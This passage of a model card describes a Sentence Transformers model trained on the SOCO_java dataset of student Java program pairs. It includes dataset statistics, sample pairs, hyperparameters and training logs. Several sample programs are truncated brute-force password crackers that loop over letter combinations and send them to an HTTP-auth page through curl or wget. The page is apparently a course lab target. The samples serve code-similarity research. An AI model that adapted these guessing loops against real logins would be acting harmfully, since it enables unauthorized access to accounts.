System.out.println(Smd5);\n\t\t\n\t\t pr = null;\n\t\t\n\t\t if(Fmd5 == Smd5)\n\t\t System.out.println(" changes Detected");\n\t\t else\n\t\t {\n\t\t pr = t.exec("diff csfirst.html index.html > report.html");\n\t\t pr = null;\n\t\t \n\t\t try{\n\t\t Thread.sleep(10000);\n\t\t }catch(Exception e){}\n\t\t \n\t\t pr = t.exec(" Message.txt | mutt -s Chnages Webpage -a report.html -x @yallara.cs.rmit.edu.");\n\t\t \n\t\t \n\t\t \n\t\t } \n\t\t \n \t }catch(java.io.IOException e){}\n\t}\n}\t\t\n', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 768] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities.shape) # [3, 3] ``` ## Training Details ### Training Dataset #### soco_java * Dataset: soco_java * Size: 30,069 training samples * Columns: label, text_1, and text_2 * Approximate statistics based on the first 1000 samples: | | label | text_1 | text_2 | |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------| | type | int | string | string | | details |
  • 0: ~99.70%
  • 1: ~0.30%
|
  • min: 51 tokens
  • mean: 450.65 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 468.5 tokens
  • max: 512 tokens
| * Samples: | label | text_1 | text_2 | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 |




import java.io.*;
import java.net.*;
import java.Runtime;
import java.util.*;
import java.net.smtp.SmtpClient;



public class WatchDog

{

static String strImageOutputFile01 = "WebPageImages01.txt";
static String strImageOutputFile02 = "WebPageImages02.txt";

static String strWebPageOutputFile01 = "WebPageOutput01.txt";
static String strWebPageOutputFile02 = "WebPageOutput02.txt";

static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";

static String strFromEmailDefault = "@.rmit.edu.";
static String strToEmailDefault = "@.rmit.edu.";

static String strFromEmail = null;
static String strToEmail = null;




public static void main (String args[])

{







URL url = null;
HttpURLConnection urlConnection;
int intContentLength;
String strWebPageText = "";

String strURL = "http://www.cs.rmit.edu./students/";
String strPrePend = "...
| import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
public static void main(String args[])
{

String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;

try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;


EmailClient email = new EmailClient(sender, recipient, hostName);


URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));


FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);

String line=webpage.readLine();

while (line != null)
{

writefile.write(line,0,line.length());
wri...
| | 0 | import java.util.*;
import java.io.*;
import java.*;

public class Dogs5
{
public static void main(String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");

while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);

BufferedReader buf = new BufferedReader(new FileReader("/home/k//Assign2/ulist1.txt"));

String line=" " ;
String line1=" " ;
String line2=" ";
String line3=" ";
String[] cad = new String[10];

executes("./.sh");

int i=0;
while ((line = buf.readLine()) != null)
{

line1="http://www.cs.rmit.edu./students/images"+line;
if (i==1)
line2="http://www.cs.rmi...
|

import java.Runtime;
import java.io.*;

public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");

InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
}
| | 0 |

import java.util.*;
import java.text.*;
import java.io.*;
import java.*;
import java.net.*;

public class WatchDog
{
public static void main(String args[])
{
String s = null;
String webpage = "http://www.cs.rmit.edu./students/";


String file1 = "file1";
String file2 = "file2";

try
{
Process p = Runtime.getRuntime().exec("wget -O " + file1 + " " + webpage);

BufferedReader stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));

BufferedReader stdError = new BufferedReader(new
InputStreamReader(p.getErrorStream()));


while ((s = stdInput.readLine()) != null) {
System.out.println(s);
}


while ((s = stdError.readLine()) != null) {
System.out.println(s);
}

try
{
p.waitFor();
}
catch...
|

import java.io.*;
import java.net.*;
import java.util.*;
import java.String;
import java.Object;
import java.awt.*;



public class WatchDog
{
private URL url;
private URLConnection urlcon;
private int lastModifiedSince = 0;
private int lastModified[] = new int[2];

private int count = 0;

public static String oldFile;
public static String newFile;

private String diffFile;

private BufferedWriter bw;
private Process p;
private Runtime r;
private String fileName;



private ArrayList old[]= new ArrayList[500];
private ArrayList news[] = new ArrayList[500];
private String info = "";
private int index = 0;

public WatchDog(String fileName)
{
this.fileName = fileName;
oldFile = fileName + ".old";
newFile = fileName + ".new";
diffFile = "testFile.txt";
}
public static void main(String args[])
{
WatchDog wd = new WatchDog("TestDog");

wd.detectChange(WatchDog.oldFile);
while (true)
{
try
{
Thread.slee...
| * Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) ### Evaluation Dataset #### soco_java * Dataset: [soco_java](https://huggingface.co/datasets/buelfhood/SOCO_java) at [c8fab14](https://huggingface.co/datasets/buelfhood/SOCO_java/tree/c8fab14a9c72776b7d47763c7ab0bccaed49b7fc) * Size: 3,342 evaluation samples * Columns: label, text_1, and text_2 * Approximate statistics based on the first 1000 samples: | | label | text_1 | text_2 | |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | int | string | string | | details |
  • 0: ~99.40%
  • 1: ~0.60%
|
  • min: 51 tokens
  • mean: 443.11 tokens
  • max: 512 tokens
|
  • min: 51 tokens
  • mean: 467.05 tokens
  • max: 512 tokens
| * Samples: | label | text_1 | text_2 | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 |

import java.Runtime;
import java.io.*;

public class differenceFile
{
StringWriter sw =null;
PrintWriter pw = null;
public differenceFile()
{
sw = new StringWriter();
pw = new PrintWriter();
}
public String compareFile()
{
try
{
Process = Runtime.getRuntime().exec("diff History.txt Comparison.txt");

InputStream write = sw.getInputStream();
BufferedReader bf = new BufferedReader (new InputStreamReader(write));
String line;
while((line = bf.readLine())!=null)
pw.println(line);
if((sw.toString().trim()).equals(""))
{
System.out.println(" difference");
return null;
}
System.out.println(sw.toString().trim());
}catch(Exception e){}
return sw.toString().trim();
}
}
|






import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{

public static void main(String[] args)
{
Runtime rt = Runtime.getRuntime();
Process pr= null;
char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
String pass;
char temp[] = {'a','a'};
char temp1[] = {'a','a','a'};
char temp2[] = {'a'};

String f= new String();
String resp = new String();
int count=0;
String success = new String();
InputStreamReader instre;
BufferedReader bufread;


for(int k=0;k<52;k++)
{
temp2[0]=chars[k];
pass = new String(temp2);
count++;

System.out.println("The password tried ...
| | 0 | import java.io.*;
import java.net.*;
import java.util.*;

public class Watchdog
{
public static void main(String args[])
{

String mainLink="http://www.cs.rmit.edu./students/";
String sender = "@cs.rmit.edu.";
String recipient = "";
String hostName = "yallara.cs.rmit.edu.";
int delay = 86400000;

try
{
int imgSrcIndex, imgSrcEnd;
String imgLink;
Vector imageList = new Vector();
HttpURLConnection imgConnection;
URL imgURL;


EmailClient email = new EmailClient(sender, recipient, hostName);


URL url=new URL(mainLink);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();

BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));


FileWriter fwrite = new FileWriter("local.txt");
BufferedWriter writefile = new BufferedWriter(fwrite);

String line=webpage.readLine();

while (line != null)
{

writefile.write(line,0,line.length());
wri...
|

import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;

public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;

...
| | 0 |
import java.io.*;
import java.awt.*;
import java.net.*;

public class BruteForce
{
public static void main (String[] args)
{
String pw = new String();
pw = getPassword ();
System.out.println("Password is: "+pw);
}
public static String getPassword()
{
String passWord = new String();
passWord = "AAA";
char[] guess = passWord.toCharArray();
Process pro = null;
Runtime runtime = Runtime.getRuntime();
BufferedReader in = null;
String str=null;
boolean found = true;

System.out.println(" attacking.....");
for (int i=65;i<=122 ;i++ )
{
guess[0]=(char)(i);
for (int j=65;j<=122 ;j++ )
{
guess[1]=(char)(j);
for (int k=65 ;k<=122 ;k++ )
{
guess[2]=(char)(k);
passWord = new String(guess);
String cmd = "wget --http-user= --http-passwd="+passWord +" http://sec-crack.cs.rmit.edu./SEC/2/index.php ";
try
{
pro = runtime.exec(cmd);

in = new BufferedReader(new InputStreamReader(pro.getErrorSt...
|

import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;

public class BruteForce extends Thread
{
private static final String USERNAME = "";
private static final char [] POSSIBLE_CHAR =
{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private static int NUMBER_OF_THREAD = 500;

private static Date startDate = null;
private static Date endDate = null;

private String address;
private String password;

public BruteForce(String address, String password)
{
this.address = address;
this.password = password;
}

public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println("Invalid usage!");
System.err.println("...
| * Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `learning_rate`: 2e-05 - `num_train_epochs`: 1 - `warmup_ratio`: 0.1 - `fp16`: True #### All Hyperparameters
Click to expand - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 2e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1.0 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.1 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: True - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: proportional
### Training Logs | Epoch | Step | Training Loss | Validation Loss | |:------:|:----:|:-------------:|:---------------:| | 0.0532 | 100 | 0.2015 | 0.0240 | | 0.1064 | 200 | 0.0143 | 0.0209 | | 0.1596 | 300 | 0.0241 | 0.0241 | | 0.2128 | 400 | 0.0174 | 0.0213 | | 0.2660 | 500 | 0.0228 | 0.0206 | | 0.3191 | 600 | 0.0061 | 0.0226 | | 0.3723 | 700 | 0.0194 | 0.0208 | | 0.4255 | 800 | 0.0193 | 0.0197 | | 0.4787 | 900 | 0.0261 | 0.0175 | | 0.5319 | 1000 | 0.0189 | 0.0178 | | 0.5851 | 1100 | 0.0089 | 0.0188 | | 0.6383 | 1200 | 0.0174 | 0.0161 | | 0.6915 | 1300 | 0.0171 | 0.0162 | | 0.7447 | 1400 | 0.0149 | 0.0155 | | 0.7979 | 1500 | 0.011 | 0.0164 | | 0.8511 | 1600 | 0.0308 | 0.0160 | | 0.9043 | 1700 | 0.0048 | 0.0167 | | 0.9574 | 1800 | 0.0142 | 0.0164 | | 0.0532 | 100 | 0.0049 | - | | 0.1064 | 200 | 0.0117 | - | | 0.1596 | 300 | 0.0151 | - | | 0.2128 | 400 | 0.0152 | - | | 0.2660 | 500 | 0.0138 | - | | 0.3191 | 600 | 0.0051 | - | | 0.3723 | 700 | 0.0143 | - | | 0.4255 | 800 | 0.0155 | - | | 0.4787 | 900 | 0.0147 | - | | 0.5319 | 1000 | 0.0128 | - | | 0.5851 | 1100 | 0.0061 | - | | 0.6383 | 1200 | 0.0138 | - | | 0.6915 | 1300 | 0.0082 | - | | 0.7447 | 1400 | 0.0095 | - | | 0.7979 | 1500 | 0.0073 | - | | 0.8511 | 1600 | 0.0189 | - | | 0.9043 | 1700 | 0.0028 | - | | 0.9574 | 1800 | 0.0092 | - | ### Framework Versions - Python: 3.11.13 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers and SoftmaxLoss ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ```